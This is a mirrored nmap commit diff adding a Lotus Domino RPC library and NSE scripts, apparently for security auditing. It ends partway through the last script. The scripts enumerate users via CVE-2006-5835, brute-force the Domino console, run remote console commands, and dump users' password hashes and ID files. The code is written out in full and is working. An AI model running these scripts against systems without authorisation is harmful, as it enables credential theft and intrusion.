mirror of
https://github.com/nmap/nmap.git
synced 2026-01-20 13:19:01 +00:00
o [NSE] Added a smallish Lotus Domino rpc library (nrpc.lua) and some Lotus
Domino oriented scripts:
- domino-enum-users.nse guesses users and attempts to download ID files by
exploiting (CVE-2006-5835).
- domino-enum-passwords attempts to download Internet passwords and ID files
from the web server.
- domcon-brute performs password guessing against the remote console.
- domcon-cmd adds support for running custom remote console commands.
[Patrik]
This commit is contained in:
10
CHANGELOG
10
CHANGELOG
@@ -1,5 +1,15 @@
|
||||
# Nmap Changelog ($Id$); -*-text-*-
|
||||
|
||||
o [NSE] Added a smallish Lotus Domino rpc library (nrpc.lua) and some Lotus
|
||||
Domino oriented scripts:
|
||||
- domino-enum-users.nse guesses users and attempts to download ID files by
|
||||
exploiting (CVE-2006-5835).
|
||||
- domino-enum-passwords attempts to download Internet passwords and ID files
|
||||
from the web server.
|
||||
- domcon-brute performs password guessing against the remote console.
|
||||
- domcon-cmd adds support for running custom remote console commands.
|
||||
[Patrik]
|
||||
|
||||
o [NSE] Added an Informix library and three scripts that make use of it:
|
||||
- informix-brute uses the brute framework to perform password guessing
|
||||
- informix-query add support for running SQL queries against Informix
|
||||
|
||||
226
nselib/nrpc.lua
Normal file
226
nselib/nrpc.lua
Normal file
@@ -0,0 +1,226 @@
|
||||
--- A minimalistic library to support Domino RPC
|
||||
--
|
||||
-- Summary
|
||||
-- -------
|
||||
-- The library currently only supports user enumeration and uses chunks of
|
||||
-- captured data to do so.
|
||||
--
|
||||
-- Overview
|
||||
-- --------
|
||||
-- The library contains the following classes:
|
||||
--
|
||||
-- o DominoPacket
|
||||
-- - The packet class holding the packets sent between the client and the
|
||||
-- IBM Lotus Domino server
|
||||
--
|
||||
-- o Helper
|
||||
-- - A helper class that provides easy access to the rest of the library
|
||||
--
|
||||
-- o DominoSocket
|
||||
-- - This is a copy of the DB2Socket class which provides fundamental
|
||||
-- buffering
|
||||
--
|
||||
--
|
||||
-- Example
|
||||
-- -------
|
||||
-- The following sample code illustrates how scripts can use the Helper class
|
||||
-- to interface the library:
|
||||
--
|
||||
-- <code>
|
||||
-- helper = nrpc.Helper:new(host, port)
|
||||
-- status, err = nrpc:Connect()
|
||||
-- status, res = nrpc:isValidUser("Patrik Karlsson")
|
||||
-- status, err = nrpc:Close()
|
||||
-- </code>
|
||||
--
|
||||
-- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html
|
||||
-- @author "Patrik Karlsson <patrik@cqure.net>"
|
||||
--
|
||||
|
||||
--
|
||||
-- Version 0.1
|
||||
-- Created 07/23/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
--
|
||||
|
||||
|
||||
module(... or "nrpc", package.seeall)
|
||||
|
||||
-- The Domino Packet
|
||||
DominoPacket = {
|
||||
|
||||
--- Creates a new DominoPacket instance
|
||||
--
|
||||
-- @param data string containing the packet data
|
||||
-- @return a new DominoPacket instance
|
||||
new = function( self, data )
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.data = data
|
||||
return o
|
||||
end,
|
||||
|
||||
--- Reads a packet from the DominoSocket
|
||||
--
|
||||
-- @param domsock DominoSocket connected to the server
|
||||
-- @return Status (true or false).
|
||||
-- @return Error code (if status is false).
|
||||
read = function( self, domsock )
|
||||
local status, data = domsock:recv(2)
|
||||
local pos, len = bin.unpack( "<S", data )
|
||||
|
||||
return domsock:recv( len )
|
||||
end,
|
||||
|
||||
--- converts the packet to a string
|
||||
__tostring = function(self)
|
||||
return bin.pack("<SA", #self.data, self.data )
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
DominoSocket =
|
||||
{
|
||||
|
||||
new = function(self)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.Socket = nmap.new_socket()
|
||||
o.Buffer = nil
|
||||
return o
|
||||
end,
|
||||
|
||||
--- Establishes a connection.
|
||||
--
|
||||
-- @param hostid Hostname or IP address.
|
||||
-- @param port Port number.
|
||||
-- @param protocol <code>"tcp"</code>, <code>"udp"</code>, or
|
||||
-- @return Status (true or false).
|
||||
-- @return Error code (if status is false).
|
||||
connect = function( self, hostid, port, protocol )
|
||||
self.Socket:set_timeout(5000)
|
||||
return self.Socket:connect( hostid, port, protocol )
|
||||
end,
|
||||
|
||||
--- Closes an open connection.
|
||||
--
|
||||
-- @return Status (true or false).
|
||||
-- @return Error code (if status is false).
|
||||
close = function( self )
|
||||
return self.Socket:close()
|
||||
end,
|
||||
|
||||
--- Opposed to the <code>socket:receive_bytes</code> function, that returns
|
||||
-- at least x bytes, this function returns the amount of bytes requested.
|
||||
--
|
||||
-- @param count of bytes to read
|
||||
-- @return true on success, false on failure
|
||||
-- @return data containing bytes read from the socket
|
||||
-- err containing error message if status is false
|
||||
recv = function( self, count )
|
||||
local status, data
|
||||
|
||||
self.Buffer = self.Buffer or ""
|
||||
|
||||
if ( #self.Buffer < count ) then
|
||||
status, data = self.Socket:receive_bytes( count - #self.Buffer )
|
||||
if ( not(status) ) then
|
||||
return false, data
|
||||
end
|
||||
self.Buffer = self.Buffer .. data
|
||||
end
|
||||
|
||||
data = self.Buffer:sub( 1, count )
|
||||
self.Buffer = self.Buffer:sub( count + 1)
|
||||
|
||||
return true, data
|
||||
end,
|
||||
|
||||
--- Sends data over the socket
|
||||
--
|
||||
-- @return Status (true or false).
|
||||
-- @return Error code (if status is false).
|
||||
send = function( self, data )
|
||||
return self.Socket:send( data )
|
||||
end,
|
||||
}
|
||||
|
||||
Helper = {
|
||||
|
||||
--- Creates a new Helper instance
|
||||
--
|
||||
-- @param host table as recieved by the script action method
|
||||
-- @param port table as recieved by the script action method
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
o.domsock = DominoSocket:new()
|
||||
return o
|
||||
end,
|
||||
|
||||
--- Connects the socket to the Domino server
|
||||
--
|
||||
-- @return status true on success, false on failure
|
||||
-- @return err error message if status is false
|
||||
connect = function( self )
|
||||
if( not( self.domsock:connect( self.host.ip, self.port.number, "tcp" ) ) ) then
|
||||
return false, ("ERROR: Failed to connect to Domino server %s:%d\n"):format(self.host, self.port)
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
--- Disconnects from the Lotus Domino Server
|
||||
--
|
||||
-- @return status true on success, false on failure
|
||||
-- @return err error message if status is false
|
||||
disconnect = function( self )
|
||||
return self.domsock:close()
|
||||
end,
|
||||
|
||||
--- Attempt to check whether the user exists in Domino or not
|
||||
--
|
||||
-- @param username string containing the user name to guess
|
||||
-- @return status true on success false on failure
|
||||
-- @return domino_id if it exists and status is true
|
||||
-- err if status is false
|
||||
isValidUser = function( self, username )
|
||||
local data = bin.pack("H", "00001e00000001000080000007320000700104020000fb2b2d00281f1e000000124c010000000000")
|
||||
local status, id_data
|
||||
local data_len, pos, total_len, pkt_type, valid_user
|
||||
|
||||
self.domsock:send( tostring(DominoPacket:new( data )) )
|
||||
data = DominoPacket:new():read( self.domsock )
|
||||
|
||||
data = bin.pack("HCHAH", "0100320002004f000100000500000900", #username + 1, "000000000000000000000000000000000028245573657273290000", username, "00")
|
||||
self.domsock:send( tostring(DominoPacket:new( data ) ) )
|
||||
status, id_data = DominoPacket:new():read( self.domsock )
|
||||
|
||||
pos, pkt_type = bin.unpack("C", id_data, 3)
|
||||
pos, valid_user = bin.unpack("C", id_data, 11)
|
||||
pos, total_len = bin.unpack("<S", id_data, 13)
|
||||
|
||||
if ( pkt_type == 0x16 ) then
|
||||
if ( valid_user == 0x19 ) then
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if ( pkt_type ~= 0x7e ) then
|
||||
return false, "Failed to retrieve ID file"
|
||||
end
|
||||
|
||||
status, data = DominoPacket:new():read( self.domsock )
|
||||
|
||||
id_data = id_data:sub(33)
|
||||
id_data = id_data .. data:sub(11, total_len - #id_data + 11)
|
||||
|
||||
return true, id_data
|
||||
end,
|
||||
|
||||
}
|
||||
168
scripts/domcon-brute.nse
Normal file
168
scripts/domcon-brute.nse
Normal file
@@ -0,0 +1,168 @@
|
||||
description = [[
|
||||
Performs password guessing against the Lotus Domino Console
|
||||
]]
|
||||
|
||||
---
|
||||
-- @usage
|
||||
-- nmap --script domcon-brute -p 2050 <host>
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE REASON
|
||||
-- 2050/tcp open unknown syn-ack
|
||||
-- | domcon-brute:
|
||||
-- | Accounts
|
||||
-- |_ patrik karlsson:secret => Login correct
|
||||
--
|
||||
-- Summary
|
||||
-- -------
|
||||
-- x The Driver class contains the driver implementation used by the brute
|
||||
-- library
|
||||
--
|
||||
--
|
||||
|
||||
--
|
||||
-- Version 0.1
|
||||
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
--
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"intrusive", "auth"}
|
||||
|
||||
require 'shortport'
|
||||
require 'brute'
|
||||
|
||||
portrule = shortport.port_or_service(2050, "", "tcp", "open")
|
||||
|
||||
local not_admins = {}
|
||||
|
||||
SocketPool = {
|
||||
|
||||
new = function(self, max_sockets)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.max_sockets = max_sockets
|
||||
o.pool = {}
|
||||
return o
|
||||
end,
|
||||
|
||||
getSocket = function(self, host, port)
|
||||
while(true) do
|
||||
for i=1, #self.pool do
|
||||
if ( not( self.pool[i].inuse ) ) then
|
||||
self.pool[i].inuse = true
|
||||
return self.pool[i].socket
|
||||
end
|
||||
end
|
||||
if ( #self.pool < self.max_sockets ) then
|
||||
local socket = nmap.new_socket()
|
||||
local status = socket:connect( host.ip, port.number, "tcp")
|
||||
|
||||
if ( status ) then
|
||||
socket:reconnect_ssl()
|
||||
end
|
||||
|
||||
if ( status and socket ) then
|
||||
table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
|
||||
end
|
||||
end
|
||||
stdnse.sleep(1)
|
||||
end
|
||||
end,
|
||||
|
||||
releaseSocket = function( self, socket )
|
||||
for i=1, #self.pool do
|
||||
if( socket == self.pool[i].socket ) then
|
||||
self.pool[i].inuse = false
|
||||
break
|
||||
end
|
||||
end
|
||||
end,
|
||||
|
||||
shutdown = function( self )
|
||||
for i=1, #self.pool do
|
||||
self.pool[i].socket:close()
|
||||
end
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
Driver =
|
||||
{
|
||||
|
||||
new = function(self, host, port, options)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
o.sockpool = options
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.socket = self.sockpool:getSocket( self.host, self.port )
|
||||
|
||||
if ( self.socket ) then
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end,
|
||||
|
||||
--- Attempts to login to the Lotus Domino Console
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local data = ("#UI %s,%s\n"):format(username,password)
|
||||
local status
|
||||
|
||||
if ( not_admins[username] ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
|
||||
status, data = self.socket:send( data )
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( data )
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, data = self.socket:receive_bytes(5)
|
||||
|
||||
if ( status and data:match("NOT_REG_ADMIN") ) then
|
||||
not_admins[username] = true
|
||||
elseif( status and data:match("VALID_USER") ) then
|
||||
return true, brute.Account:new( username, password, "OPEN")
|
||||
end
|
||||
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.sockpool:releaseSocket( self.socket )
|
||||
end,
|
||||
|
||||
check = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local status, result
|
||||
local pool = SocketPool:new(10)
|
||||
local engine = brute.Engine:new(Driver, host, port, pool )
|
||||
|
||||
status, result = engine:start()
|
||||
pool:shutdown()
|
||||
|
||||
return result
|
||||
end
|
||||
134
scripts/domcon-cmd.nse
Normal file
134
scripts/domcon-cmd.nse
Normal file
@@ -0,0 +1,134 @@
|
||||
description = [[
|
||||
Runs a console command on the Lotus Domino Console
|
||||
]]
|
||||
|
||||
---
|
||||
-- @usage
|
||||
-- nmap -np 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \
|
||||
-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE REASON
|
||||
-- 2050/tcp open unknown syn-ack
|
||||
-- | domcon-cmd:
|
||||
-- | show server
|
||||
-- |
|
||||
-- | Lotus Domino (r) Server (Release 8.5 for Windows/32) 2010-07-30 00:52:58
|
||||
-- |
|
||||
-- | Server name: server1/cqure - cqure testing server
|
||||
-- | Domain name: cqure
|
||||
-- | Server directory: C:\Program Files\IBM\Lotus\Domino\data
|
||||
-- | Partition: C.Program Files.IBM.Lotus.Domino.data
|
||||
-- | Elapsed time: 00:27:11
|
||||
-- | Transactions/minute: Last minute: 0; Last hour: 0; Peak: 0
|
||||
-- | Peak # of sessions: 0 at
|
||||
-- | Transactions: 0 Max. concurrent: 20
|
||||
-- | ThreadPool Threads: 20 (TCPIP Port)
|
||||
-- | Availability Index: 100 (state: AVAILABLE)
|
||||
-- | Mail Tracking: Not Enabled
|
||||
-- | Mail Journalling: Not Enabled
|
||||
-- | Number of Mailboxes: 1
|
||||
-- | Pending mail: 0 Dead mail: 0
|
||||
-- | Waiting Tasks: 0
|
||||
-- | DAOS: Not Enabled
|
||||
-- | Transactional Logging: Not Enabled
|
||||
-- | Fault Recovery: Not Enabled
|
||||
-- | Activity Logging: Not Enabled
|
||||
-- | Server Controller: Enabled
|
||||
-- | Diagnostic Directory: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT
|
||||
-- | Console Logging: Enabled (1K)
|
||||
-- | Console Log File: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT\console.log
|
||||
-- |_ DB2 Server: Not Enabled
|
||||
--
|
||||
-- @args domcon-cmd.cmd The command to run on the remote server
|
||||
-- @args domcon-cmd.user The user used to authenticate to the server
|
||||
-- @args domcon-cmd.pass The password used to authenticate to the server
|
||||
--
|
||||
|
||||
--
|
||||
-- Version 0.1
|
||||
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
--
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"intrusive", "auth"}
|
||||
|
||||
require 'shortport'
|
||||
|
||||
portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open")
|
||||
|
||||
--- Reads an API block from the server
|
||||
--
|
||||
-- @param socket already connected to the server
|
||||
-- @return status true on success, false on failure
|
||||
-- @return result table containing lines with server response
|
||||
-- or error message if status is false
|
||||
local function readAPIBlock( socket )
|
||||
|
||||
local lines
|
||||
local result = {}
|
||||
local status, line = socket:receive_lines(1)
|
||||
|
||||
if ( not(status) ) then return false, "Failed to read line" end
|
||||
lines = stdnse.strsplit( "\n", line )
|
||||
|
||||
for _, line in ipairs( lines ) do
|
||||
if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
|
||||
table.insert(result, line)
|
||||
end
|
||||
end
|
||||
|
||||
-- Clear trailing empty lines
|
||||
while( true ) do
|
||||
if ( result[#result] == "" ) then
|
||||
table.remove(result, #result)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
return true, result
|
||||
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local result_part, result, cmds = {}, {}, {}
|
||||
local user = nmap.registry.args['domcon-cmd.user']
|
||||
local pass = nmap.registry.args['domcon-cmd.pass']
|
||||
local cmd = nmap.registry.args['domcon-cmd.cmd']
|
||||
|
||||
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
|
||||
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
|
||||
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
|
||||
|
||||
cmds = stdnse.strsplit(";%s*", cmd)
|
||||
|
||||
socket:set_timeout(10000)
|
||||
status = socket:connect( host.ip, port.number, "tcp")
|
||||
if ( status ) then
|
||||
socket:reconnect_ssl()
|
||||
end
|
||||
|
||||
socket:send("#API\n")
|
||||
socket:send( ("#UI %s,%s\n"):format(user,pass) )
|
||||
socket:receive_lines(1)
|
||||
socket:send("#EXIT\n")
|
||||
|
||||
for i=1, #cmds do
|
||||
socket:send(cmds[i] .. "\n")
|
||||
status, result_part = readAPIBlock( socket )
|
||||
if( status ) then
|
||||
result_part.name = cmds[i]
|
||||
table.insert( result, result_part )
|
||||
else
|
||||
return " \n ERROR: " .. result_part
|
||||
end
|
||||
end
|
||||
|
||||
socket:close()
|
||||
|
||||
return stdnse.format_output( true, result )
|
||||
end
|
||||
318
scripts/domino-enum-passwords.nse
Normal file
318
scripts/domino-enum-passwords.nse
Normal file
@@ -0,0 +1,318 @@
|
||||
description = [[
|
||||
Attempts to enumerate the hashed Domino Internet Passwords, that by default are accessible to all authenticated users.
|
||||
The script can also download any Domino ID Files attached to the Person document.
|
||||
]]
|
||||
|
||||
---
|
||||
-- @usage
|
||||
-- nmap --script domino-enum-passwords -p 80 <host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret
|
||||
--
|
||||
-- This script attempts to enumerate the password hashes used to authenitcate
|
||||
-- to the Lotus Domino Web interface. By default, these hashes are accessible
|
||||
-- to every authenticated user. Passwords are presented in a form suitable for
|
||||
-- running in John the Ripper. In addition the script can be used to download
|
||||
-- any ID files attached to the Person document.
|
||||
--
|
||||
-- It appears as if form based authentication is enabled, basic authentication
|
||||
-- still works. Therefore the script should work in both scenarios. Valid
|
||||
-- credentials can either be supplied directly using the parameters username
|
||||
-- and password or indirectly from results of http-brute or http-form-brute.
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE REASON
|
||||
-- 80/tcp open http syn-ack
|
||||
-- | domino-enum-passwords:
|
||||
-- | Information
|
||||
-- | Information retrieved as: "Jim Brass"
|
||||
-- | Internet hashes
|
||||
-- | Jim Brass:(GYvlbOz2idzni5peJUdD)
|
||||
-- | Warrick Brown:(GZghNctqAnJgyklUl2ml)
|
||||
-- | Gill Grissom:(GyhsteeXTr75YOSwW8mc)
|
||||
-- | David Hodges:(GZEJRHqJEVc5IZCsNX0U)
|
||||
-- | Ray Langston:(GE18MGVGD/8ftYMFaVlY)
|
||||
-- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj)
|
||||
-- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl)
|
||||
-- | Wendy Simms:(G6wooaElHpsvA4TPvSfi)
|
||||
-- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp)
|
||||
-- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM)
|
||||
-- | ID Files
|
||||
-- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id)
|
||||
-- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id)
|
||||
-- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id)
|
||||
-- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id)
|
||||
-- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id)
|
||||
-- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id)
|
||||
-- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id)
|
||||
-- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id)
|
||||
-- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id)
|
||||
-- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id)
|
||||
-- |
|
||||
-- |_ Results limited to 10 results (see domino-enum-passwords.count)
|
||||
--
|
||||
--
|
||||
-- @args domino-enum-passwords.path points to the path protected by authentication
|
||||
-- @args domino-enum-passwords.hostname sets the host header in case of virtual hosting
|
||||
-- @args domino-enum-passwords.count the number of internet hashes and id files to fetch.
|
||||
-- If a negative value is given, all hashes and id files are retrieved (default: 10)
|
||||
-- @args domino-enum-passwords.idpath the path where downloaded ID files should be saved
|
||||
-- If not given, the script will only indicate if the ID file is donwloadable or not
|
||||
|
||||
--
|
||||
-- Version 0.2
|
||||
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
-- Revised 07/31/2010 - v0.2 - add support for downloading ID files
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"intrusive", "auth"}
|
||||
dependencies = {"http-brute", "http-form-brute"}
|
||||
|
||||
require 'shortport'
|
||||
require 'http'
|
||||
|
||||
portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open")
|
||||
|
||||
--- Checks if the <code>path</code> require authentication
|
||||
--
|
||||
-- @param host table as received by the action function or the name specified
|
||||
-- in the hostname argument
|
||||
-- @param port table as received by the action function
|
||||
-- @param path against which to check if authentication is required
|
||||
local function requiresAuth( host, port, path )
|
||||
local result = http.get(host, port, "/names.nsf")
|
||||
|
||||
if ( result.status == 401 ) then
|
||||
return true
|
||||
elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then
|
||||
return true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
--- Checks if the credentials are valid and allow access to <code>path</code>
|
||||
--
|
||||
-- @param host table as received by the action function or the name specified
|
||||
-- in the hostname argument
|
||||
-- @param port as recieved by the action method
|
||||
-- @param path the patch against which to validate the credentials
|
||||
-- @param user the username used for authentication
|
||||
-- @param pass the password used for authentication
|
||||
-- @return true on valid access, false on failure
|
||||
local function isValidCredential( host, port, path, user, pass )
|
||||
-- we need to supply the no_cache directive, or else the http library
|
||||
-- incorrectly tells us that the authentication was successfull
|
||||
local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })
|
||||
|
||||
if ( result.status == 401 ) then
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
--- Retrieves all uniq links in a pages
|
||||
--
|
||||
-- @param body the html content of the recieved page
|
||||
-- @param filter a filter to use for additional link filtering
|
||||
-- @param links [optional] table containing previousy retrieved links
|
||||
-- @return links table containing retrieved links
|
||||
local function getLinks( body, filter, links )
|
||||
local tmp = {}
|
||||
local links = links or {}
|
||||
local filter = filter or ".*"
|
||||
|
||||
if ( not(body) ) then return end
|
||||
for _, v in ipairs( links ) do
|
||||
tmp[v] = true
|
||||
end
|
||||
|
||||
for link in body:gmatch("<a href=\"([^\"]+)\"") do
|
||||
-- use link as key in order to remove duplicates
|
||||
if ( link:match(filter)) then
|
||||
tmp[link] = true
|
||||
end
|
||||
end
|
||||
|
||||
links = {}
|
||||
for k, _ in pairs(tmp) do
|
||||
table.insert(links, k)
|
||||
end
|
||||
|
||||
return links
|
||||
end
|
||||
|
||||
--- Retrieves the "next page" path from the returned document
|
||||
--
|
||||
-- @param body the html content of the recieved page
|
||||
-- @return link to next page
|
||||
local function getPager( body )
|
||||
return body:match("<form.+action=\"(.+%?ReadForm)\&" )
|
||||
end
|
||||
|
||||
--- Retrieves the username and passwords for a user
|
||||
--
|
||||
-- @param body the html content of the recieved page
|
||||
-- @return full_name the full name of the user
|
||||
-- @return password the password hash for the user
|
||||
local function getUserDetails( body )
|
||||
|
||||
-- retrieve the details
|
||||
local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">")
|
||||
local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">")
|
||||
local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">")
|
||||
local id_file = body:match("<a href=\"(.-UserID)\">")
|
||||
|
||||
-- In case we have more than one full name, return only the last
|
||||
full_name = stdnse.strsplit(";%s*", full_name)
|
||||
full_name = full_name[#full_name]
|
||||
|
||||
return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
|
||||
end
|
||||
|
||||
--- Saves the ID file to disk
|
||||
--
|
||||
-- @param filename string containing the name and full path to the file
|
||||
-- @param data contains the data
|
||||
-- @return status true on success, false on failure
|
||||
-- @return err string containing error message if status is false
|
||||
local function saveIDFile( filename, data )
|
||||
local f = io.open( filename, "w")
|
||||
if ( not(f) ) then
|
||||
return false, ("Failed to open file (%s)"):format(filename)
|
||||
end
|
||||
if ( not(f:write( data ) ) ) then
|
||||
return false, ("Failed to write file (%s)"):format(filename)
|
||||
end
|
||||
f:close()
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local path = "/names.nsf"
|
||||
local download_path = nmap.registry.args['domino-enum-passwords.idpath']
|
||||
local vhost= nmap.registry.args['domino-enum-passwords.hostname']
|
||||
local user = nmap.registry.args['domino-enum-passwords.username']
|
||||
local pass = nmap.registry.args['domino-enum-passwords.password']
|
||||
local creds, pos, pager
|
||||
local links, result, hashes, id_files = {}, {}, {}, {}
|
||||
local chunk_size = 30
|
||||
local max_fetch = nmap.registry.args['domino-enum-passwords.count'] and tonumber(nmap.registry.args['domino-enum-passwords.count']) or 10
|
||||
local http_response
|
||||
|
||||
if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then
|
||||
creds = nmap.registry['credentials']['http']
|
||||
end
|
||||
|
||||
-- authentication required?
|
||||
if ( requiresAuth( vhost or host, port, path ) ) then
|
||||
if ( not(user) and not(creds) ) then
|
||||
return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)"
|
||||
end
|
||||
|
||||
-- A user was provided, attempt to authenticate
|
||||
if ( user ) then
|
||||
if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
|
||||
return " \n ERROR: The provided credentials where invalid"
|
||||
end
|
||||
elseif ( creds ) then
|
||||
for _, cred in pairs(creds) do
|
||||
if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then
|
||||
user = cred.username
|
||||
pass = cred.password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if ( not(user) and not(pass) ) then
|
||||
return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)"
|
||||
end
|
||||
|
||||
path = "/names.nsf/People?OpenView"
|
||||
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
|
||||
pager = getPager( http_response.body )
|
||||
if ( not(pager) ) then
|
||||
return " \n ERROR: Failed to process results"
|
||||
end
|
||||
pos = 1
|
||||
|
||||
-- first collect all links
|
||||
while( true ) do
|
||||
path = pager .. "&Start=" .. pos
|
||||
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
|
||||
|
||||
if ( http_response.status == 200 ) then
|
||||
local size = #links
|
||||
links = getLinks( http_response.body, "%?OpenDocument", links )
|
||||
-- No additions were made
|
||||
if ( size == #links ) then
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if ( max_fetch > 0 and max_fetch < #links ) then
|
||||
break
|
||||
end
|
||||
|
||||
pos = pos + chunk_size
|
||||
end
|
||||
|
||||
for _, link in ipairs(links) do
|
||||
stdnse.print_debug(2, "Fetching link: %s", link)
|
||||
http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
|
||||
local u_details = getUserDetails( http_response.body )
|
||||
|
||||
if ( max_fetch > 0 and #hashes >= max_fetch ) then
|
||||
break
|
||||
end
|
||||
|
||||
if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
|
||||
stdnse.print_debug(2, "Found Internet has for: %s:%s", u_details.fullname, u_details.passwd)
|
||||
table.insert( hashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
|
||||
end
|
||||
|
||||
if ( u_details.idfile ) then
|
||||
stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname)
|
||||
if ( download_path ) then
|
||||
stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name)
|
||||
http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })
|
||||
|
||||
if ( http_response.status == 200 ) then
|
||||
local status, err = saveIDFile( ("%s/%s.id"):format(download_path, u_details.fullname), http_response.body )
|
||||
if ( status ) then
|
||||
table.insert( id_files, ("%s ID File has been downloaded (%s/%s.id)"):format(u_details.fullname, download_path, u_details.fullname) )
|
||||
else
|
||||
table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
|
||||
end
|
||||
else
|
||||
table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
|
||||
end
|
||||
else
|
||||
table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if ( #hashes ) then
|
||||
hashes.name = "Internet hashes"
|
||||
table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
|
||||
table.insert( result, hashes )
|
||||
|
||||
